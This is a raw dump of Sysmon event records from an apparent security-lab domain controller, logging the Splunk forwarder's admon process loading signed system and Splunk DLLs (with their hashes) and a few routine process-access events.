734700x800000000000000051601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.417{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000051600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.417{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000051599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.417{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000051598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.399{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000051597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000051596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000051595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000051594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000051593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000051592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000051591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000051590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000051589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000051588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000051587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000051586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000051585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000051584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000051583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000051582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000051581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000051580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000051579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000051578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.383{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000051577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.368{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000051576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.368{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000051575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.368{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000051574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.368{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000051573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.368{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000051572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.368{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000051571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.368{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000051570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.368{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000051569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.368{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000051568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.368{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000051567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.352{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000051566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.352{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000051565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.352{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000051564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.352{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000051563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.352{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000051562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.352{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.352{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.352{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.352{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 